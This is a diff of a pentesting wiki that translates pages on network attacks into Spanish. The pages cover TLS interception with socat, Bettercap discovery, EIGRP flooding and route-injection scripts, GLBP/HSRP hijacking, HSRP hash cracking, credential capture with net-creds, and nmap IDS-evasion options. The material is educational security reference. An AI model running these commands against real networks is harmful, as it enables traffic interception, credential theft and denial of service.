"important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip o sslStrip+ ya no funcionan. Esto se debe a que hay reglas HSTS preguardadas en los navegadores, por lo que incluso si es la primera vez que un usuario accede a un dominio "importante", lo hará a través de HTTPS. Además, tenga en cuenta que las reglas preguardadas y otras reglas generadas pueden usar la bandera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **por lo que el** _**wwww.facebook.com**_ **ejemplo de antes ya no funcionará ya que** _**facebook.com**_ **usa HSTS con `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## TCP escucha en el puerto ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL escucha en el puerto -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### Generar claves y certificado autofirmado ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### Escuchar usando certificado ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### Escuchar usando certificado y redirigir a los hosts ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +A veces, si el cliente verifica que la CA es válida, podrías **servir un certificado de otro nombre de host firmado por una CA**.\ +Otra prueba interesante es **servir un certificado del nombre de host solicitado pero autofirmado**. -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +Otras cosas a probar son intentar firmar el certificado con un certificado válido que no sea una CA válida. O usar la clave pública válida, forzar el uso de un algoritmo como Diffie-Hellman (uno que no necesite descifrar nada con la verdadera clave privada) y cuando el cliente solicite una prueba de la verdadera clave privada (como un hash), enviar una prueba falsa y esperar que el cliente no verifique esto. ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,47 +764,43 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### Notas de Descubrimiento Activo -### Active Discovery Notes +Tenga en cuenta que cuando se envía un paquete UDP a un dispositivo que no tiene el puerto solicitado, se envía un ICMP (Puerto Inalcanzable). -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **Descubrimiento ARP** -### **ARP discover** +Los paquetes ARP se utilizan para descubrir qué IPs se están utilizando dentro de la red. La PC debe enviar una solicitud para cada posible dirección IP y solo las que están en uso responderán. -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +### **mDNS (DNS multicast)** -### **mDNS (multicast DNS)** +Bettercap envía una solicitud MDNS (cada X ms) pidiendo **\_services\_.dns-sd.\_udp.local**. La máquina que ve este paquete generalmente responde a esta solicitud. Luego, solo busca máquinas que respondan a "services". -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". - -**Tools** +**Herramientas** - Avahi-browser (--all) - Bettercap (net.probe.mdns) - Responder -### **NBNS (NetBios Name Server)** +### **NBNS (Servidor de Nombres NetBios)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap transmite paquetes al puerto 137/UDP pidiendo el nombre "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". -### **SSDP (Simple Service Discovery Protocol)** +### **SSDP (Protocolo de Descubrimiento de Servicios Simple)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap transmite paquetes SSDP buscando todo tipo de servicios (Puerto UDP 1900). -### **WSD (Web Service Discovery)** +### **WSD (Descubrimiento de Servicios Web)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap transmite paquetes WSD buscando servicios (Puerto UDP 3702). -## References +## Referencias - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **Evaluación de Seguridad de Redes: Conozca Su Red (3ra edición)** +- **Hacking Práctico de IoT: La Guía Definitiva para Atacar el Internet de las Cosas. Por Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..a65b660aa 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,39 +1,39 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### Comparación de Tipos de Mensajes DHCPv6 vs. DHCPv4 -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +Se presenta una vista comparativa de los tipos de mensajes DHCPv6 y DHCPv4 en la tabla a continuación: -| DHCPv6 Message Type | DHCPv4 Message Type | -| :--------------------------------- | :------------------ | -| Solicit (1) | DHCPDISCOVER | -| Advertise (2) | DHCPOFFER | -| Request (3), Renew (5), Rebind (6) | DHCPREQUEST | -| Reply (7) | DHCPACK / DHCPNAK | -| Release (8) | DHCPRELEASE | -| Information-Request (11) | DHCPINFORM | -| Decline (9) | DHCPDECLINE | -| Confirm (4) | none | -| Reconfigure (10) | DHCPFORCERENEW | -| Relay-Forw (12), Relay-Reply (13) | none | +| Tipo de Mensaje DHCPv6 | Tipo de Mensaje DHCPv4 | +| :-------------------------------- | :--------------------- | +| Solicit (1) | DHCPDISCOVER | +| Advertise (2) | DHCPOFFER | +| Request (3), Renew (5), Rebind (6) | DHCPREQUEST | +| Reply (7) | DHCPACK / DHCPNAK | +| Release (8) | DHCPRELEASE | +| Information-Request (11) | DHCPINFORM | +| Decline (9) | DHCPDECLINE | +| Confirm (4) | none | +| Reconfigure (10) | DHCPFORCERENEW | +| Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**Explicación Detallada de los Tipos de Mensajes DHCPv6:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: Iniciado por un cliente DHCPv6 para encontrar servidores disponibles. +2. **Advertise (2)**: Enviado por los servidores en respuesta a un Solicit, indicando disponibilidad para el servicio DHCP. +3. **Request (3)**: Los clientes lo utilizan para solicitar direcciones IP o prefijos de un servidor específico. +4. **Confirm (4)**: Utilizado por un cliente para verificar si las direcciones asignadas siguen siendo válidas en la red, típicamente después de un cambio de red. +5. **Renew (5)**: Los clientes envían esto al servidor original para extender la duración de las direcciones o actualizar configuraciones. +6. **Rebind (6)**: Enviado a cualquier servidor para extender la duración de las direcciones o actualizar configuraciones, especialmente cuando no se recibe respuesta a un Renew. +7. **Reply (7)**: Los servidores utilizan esto para proporcionar direcciones, parámetros de configuración o para reconocer mensajes como Release o Decline. +8. **Release (8)**: Los clientes informan al servidor que deje de usar una o más direcciones asignadas. +9. **Decline (9)**: Enviado por los clientes para informar que las direcciones asignadas están en conflicto en la red. +10. **Reconfigure (10)**: Los servidores instan a los clientes a iniciar transacciones para configuraciones nuevas o actualizadas. +11. **Information-Request (11)**: Los clientes solicitan parámetros de configuración sin asignación de dirección IP. +12. **Relay-Forw (12)**: Los agentes de retransmisión envían mensajes a los servidores. +13. **Relay-Repl (13)**: Los servidores responden a los agentes de retransmisión, quienes luego entregan el mensaje al cliente. -## References +## Referencias - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..6bcbecbfa 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -2,60 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**Este es un resumen de los ataques expuestos en** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Revísalo para más información. -## **Fake EIGRP Neighbors Attack** +## **Ataque de Vecinos Falsos de EIGRP** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **Objetivo**: Sobrecargar las CPU de los routers inundándolos con paquetes hello de EIGRP, lo que podría llevar a un ataque de Denegación de Servicio (DoS). +- **Herramienta**: Script **helloflooding.py**. +- **Ejecución**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **Parámetros**: +- `--interface`: Especifica la interfaz de red, por ejemplo, `eth0`. +- `--as`: Define el número de sistema autónomo de EIGRP, por ejemplo, `1`. +- `--subnet`: Establece la ubicación de la subred, por ejemplo, `10.10.100.0/24`. -## **EIGRP Blackhole Attack** +## **Ataque de Agujero Negro de EIGRP** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **Objetivo**: Interrumpir el flujo de tráfico de la red inyectando una ruta falsa, llevando a un agujero negro donde el tráfico se dirige a un destino inexistente. +- **Herramienta**: Script **routeinject.py**. +- **Ejecución**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **Parámetros**: +- `--interface`: Especifica la interfaz del sistema del atacante. +- `--as`: Define el número de AS de EIGRP. +- `--src`: Establece la dirección IP del atacante. +- `--dst`: Establece la IP de la subred objetivo. +- `--prefix`: Define la máscara de la IP de la subred objetivo. -## **Abusing K-Values Attack** +## **Ataque de Abuso de Valores K** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **Objetivo**: Crear interrupciones y reconexiones continuas dentro del dominio de EIGRP inyectando valores K alterados, resultando efectivamente en un ataque de DoS. +- **Herramienta**: Script **relationshipnightmare.py**. +- **Ejecución**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **Parámetros**: +- `--interface`: Especifica la interfaz de red. +- `--as`: Define el número de AS de EIGRP. +- `--src`: Establece la dirección IP de un router legítimo. -## **Routing Table Overflow Attack** +## **Ataque de Desbordamiento de Tabla de Rutas** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **Objetivo**: Estresar la CPU y la RAM del router inundando la tabla de rutas con numerosas rutas falsas. +- **Herramienta**: Script **routingtableoverflow.py**. +- **Ejecución**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **Parámetros**: +- `--interface`: Especifica la interfaz de red. +- `--as`: Define el número de AS de EIGRP. +- `--src`: Establece la dirección IP del atacante. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..44742cb79 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,60 +2,56 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## FHRP Hijacking Overview ### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +FHRP está diseñado para proporcionar robustez a la red al fusionar múltiples enrutadores en una única unidad virtual, mejorando así la distribución de carga y la tolerancia a fallos. Cisco Systems introdujo protocolos destacados en este conjunto, como GLBP y HSRP. ### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +La creación de Cisco, GLBP, funciona en la pila TCP/IP, utilizando UDP en el puerto 3222 para la comunicación. Los enrutadores en un grupo GLBP intercambian paquetes "hello" a intervalos de 3 segundos. Si un enrutador no envía estos paquetes durante 10 segundos, se presume que está fuera de línea. Sin embargo, estos temporizadores no son fijos y pueden ser modificados. ### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +GLBP se destaca al permitir la distribución de carga entre enrutadores utilizando una única IP virtual junto con múltiples direcciones MAC virtuales. En un grupo GLBP, cada enrutador participa en el reenvío de paquetes. A diferencia de HSRP/VRRP, GLBP ofrece un verdadero balanceo de carga a través de varios mecanismos: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Host-Dependent Load Balancing:** Mantiene una asignación consistente de la dirección MAC AVF a un host, esencial para configuraciones NAT estables. +- **Round-Robin Load Balancing:** El enfoque predeterminado, alternando la asignación de la dirección MAC AVF entre los hosts solicitantes. +- **Weighted Round-Robin Load Balancing:** Distribuye la carga en función de métricas de "Peso" predefinidas. ### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +- **AVG (Active Virtual Gateway):** El enrutador principal, responsable de asignar direcciones MAC a los enrutadores pares. +- **AVF (Active Virtual Forwarder):** Un enrutador designado para gestionar el tráfico de red. +- **GLBP Priority:** Una métrica que determina el AVG, comenzando en un valor predeterminado de 100 y variando entre 1 y 255. +- **GLBP Weight:** Refleja la carga actual en un enrutador, ajustable manualmente o a través de Object Tracking. +- **GLBP Virtual IP Address:** Sirve como la puerta de enlace predeterminada de la red para todos los dispositivos conectados. -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +Para las interacciones, GLBP emplea la dirección multicast reservada 224.0.0.102 y el puerto UDP 3222. Los enrutadores transmiten paquetes "hello" a intervalos de 3 segundos y se consideran no operativos si se pierde un paquete durante un período de 10 segundos. ### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +Un atacante puede convertirse en el enrutador principal enviando un paquete GLBP con el valor de prioridad más alto (255). Esto puede llevar a ataques DoS o MITM, permitiendo la interceptación o redirección del tráfico. ### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali) puede realizar un ataque GLBP inyectando un paquete con prioridad y peso establecidos en 255. Los pasos previos al ataque implican recopilar información como la dirección IP virtual, la presencia de autenticación y los valores de prioridad del enrutador utilizando herramientas como Wireshark. Attack Steps: -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. +1. Cambiar a modo promiscuo y habilitar el reenvío de IP. +2. Identificar el enrutador objetivo y recuperar su IP. +3. Generar un ARP Gratuitous. +4. Inyectar un paquete GLBP malicioso, suplantando al AVG. +5. Asignar una dirección IP secundaria a la interfaz de red del atacante, reflejando la IP virtual de GLBP. +6. Implementar SNAT para una visibilidad completa del tráfico. +7. Ajustar el enrutamiento para asegurar el acceso continuo a Internet a través del enrutador AVG original. -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +Siguiendo estos pasos, el atacante se posiciona como un "hombre en el medio", capaz de interceptar y analizar el tráfico de red, incluidos datos no cifrados o sensibles. +Para la demostración, aquí están los fragmentos de comando requeridos: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +Monitorear e interceptar el tráfico se puede hacer utilizando net-creds.py o herramientas similares para capturar y analizar los datos que fluyen a través de la red comprometida. -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### Explicación Pasiva del Secuestro de HSRP con Detalles de Comando -### Passive Explanation of HSRP Hijacking with Command Details +#### Visión General de HSRP (Protocolo de Redundancia de Router en Espera Activa) -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +HSRP es un protocolo propietario de Cisco diseñado para la redundancia de puertas de enlace de red. Permite la configuración de múltiples routers físicos en una única unidad lógica con una dirección IP compartida. Esta unidad lógica es gestionada por un router primario responsable de dirigir el tráfico. A diferencia de GLBP, que utiliza métricas como prioridad y peso para el balanceo de carga, HSRP se basa en un único router activo para la gestión del tráfico. -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### Roles y Terminología en HSRP -#### Roles and Terminology in HSRP +- **Router Activo de HSRP**: El dispositivo que actúa como la puerta de enlace, gestionando el flujo de tráfico. +- **Router en Espera de HSRP**: Un router de respaldo, listo para asumir si el router activo falla. +- **Grupo de HSRP**: Un conjunto de routers que colaboran para formar un único router virtual resiliente. +- **Dirección MAC de HSRP**: Una dirección MAC virtual asignada al router lógico en la configuración de HSRP. +- **Dirección IP Virtual de HSRP**: La dirección IP virtual del grupo de HSRP, actuando como la puerta de enlace predeterminada para los dispositivos conectados. -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### Versiones de HSRP -#### HSRP Versions +HSRP viene en dos versiones, HSRPv1 y HSRPv2, que difieren principalmente en la capacidad del grupo, el uso de IP multicast y la estructura de la dirección MAC virtual. El protocolo utiliza direcciones IP multicast específicas para el intercambio de información de servicio, con paquetes Hello enviados cada 3 segundos. Se presume que un router está inactivo si no se recibe ningún paquete dentro de un intervalo de 10 segundos. -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### Mecanismo de Ataque de HSRP -#### HSRP Attack Mechanism +Los ataques de HSRP implican tomar por la fuerza el rol del Router Activo inyectando un valor de prioridad máximo. Esto puede llevar a un ataque Man-In-The-Middle (MITM). Los pasos esenciales previos al ataque incluyen recopilar datos sobre la configuración de HSRP, lo que se puede hacer utilizando Wireshark para el análisis de tráfico. -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### Pasos para Eludir la Autenticación de HSRP -#### Steps for Bypassing HSRP Authentication +1. Guarda el tráfico de red que contiene datos de HSRP como un archivo .pcap. +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. Extrae los hashes MD5 del archivo .pcap utilizando hsrp2john.py. +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. Rompe los hashes MD5 utilizando John the Ripper. +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**Ejecutando la Inyección de HSRP con Loki** -**Executing HSRP Injection with Loki** +1. Inicia Loki para identificar los anuncios de HSRP. +2. Configura la interfaz de red en modo promiscuo y habilita el reenvío de IP. +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. Utiliza Loki para dirigirte al router específico, ingresa la contraseña de HSRP descifrada y realiza las configuraciones necesarias para suplantar al Router Activo. +4. Después de obtener el rol de Router Activo, configura tu interfaz de red y las tablas IP para interceptar el tráfico legítimo. +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. Modifica la tabla de enrutamiento para dirigir el tráfico a través del antiguo Router Activo. +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. Utiliza net-creds.py o una utilidad similar para capturar credenciales del tráfico interceptado. +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +Ejecutar estos pasos coloca al atacante en una posición para interceptar y manipular el tráfico, similar al procedimiento para el secuestro de GLBP. Esto resalta la vulnerabilidad en protocolos de redundancia como HSRP y la necesidad de medidas de seguridad robustas. -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## Referencias - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..a11d1e4ca 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,45 @@ {{#include ../../banners/hacktricks-training.md}} -
+# **Manipulación de TTL** -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +Envía algunos paquetes con un TTL suficiente para llegar al IDS/IPS pero no lo suficiente para llegar al sistema final. Y luego, envía otros paquetes con las mismas secuencias que los anteriores para que el IPS/IDS piense que son repeticiones y no los verifique, pero en realidad están llevando el contenido malicioso. -{% embed url="https://academy.8ksec.io/" %} +**Opción de Nmap:** `--ttlvalue ` -# **TTL Manipulation** +# Evitando firmas -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +Simplemente agrega datos basura a los paquetes para evitar la firma del IPS/IDS. -**Nmap option:** `--ttlvalue ` +**Opción de Nmap:** `--data-length 25` -# Avoiding signatures +# **Paquetes fragmentados** -Just add garbage data to the packets so the IPS/IDS signature is avoided. +Simplemente fragmenta los paquetes y envíalos. Si el IDS/IPS no tiene la capacidad de reensamblarlos, llegarán al host final. -**Nmap option:** `--data-length 25` +**Opción de Nmap:** `-f` -# **Fragmented Packets** +# **Checksum** _**inválido**_ -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +Los sensores generalmente no calculan el checksum por razones de rendimiento. Así que un atacante puede enviar un paquete que será **interpretado por el sensor pero rechazado por el host final.** Ejemplo: -**Nmap option:** `-f` +Envía un paquete con la bandera RST y un checksum inválido, así que el IPS/IDS puede pensar que este paquete va a cerrar la conexión, pero el host final descartará el paquete ya que el checksum es inválido. -# **Invalid** _**checksum**_ +# **Opciones IP y TCP poco comunes** -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a 